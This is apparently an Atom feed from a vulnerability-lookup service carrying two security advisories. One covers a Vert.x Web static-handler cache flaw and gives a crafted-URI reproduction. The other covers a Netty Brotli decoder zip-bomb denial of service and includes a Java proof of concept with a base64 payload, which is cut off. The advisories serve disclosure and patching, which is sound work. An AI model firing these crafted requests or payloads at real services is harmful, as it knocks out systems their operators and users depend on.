<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-06T10:56:15.020168+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2026-1002</id>
    <title>CVE-2026-1002 — Eclipse Vert.x Web static handler file access denial</title>
    <updated>2026-10-06T10:56:15.187107+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Eclipse Vert.x</p>
<p>The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.</p>
<p>The issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web):  https://github.com/eclipse-vertx/vert.x/pull/5895</p>
<p>Steps to reproduce
Given a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html</p>
<p>Mitgation
Disabling Static Handler cache fixes the issue.</p>
<p>StaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2026-1002"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-3p8m-j85q-pgmj</id>
    <title>GHSA-3p8m-j85q-pgmj — Netty's decoders vulnerable to DoS via zip bomb style attack</title>
    <updated>2026-10-06T10:56:15.187199+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Maven: io.netty:netty-codec-compression, Maven: io.netty:netty-codec</p>
<p>### Summary</p>
<p>With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.</p>
<p>### Details</p>
<p>`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.</p>
<p>Tested on 4.1.118, but there were no changes to the decoder since.</p>
<p>### PoC</p>
<p>Run this test case with `-Xmx1G`:</p>
<p>```java
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;</p>
<p>import java.util.Base64;</p>
<p>public class T {
    public static void main(String[] args) {
        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oE…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-3p8m-j85q-pgmj"/>
  </entry>
</feed>
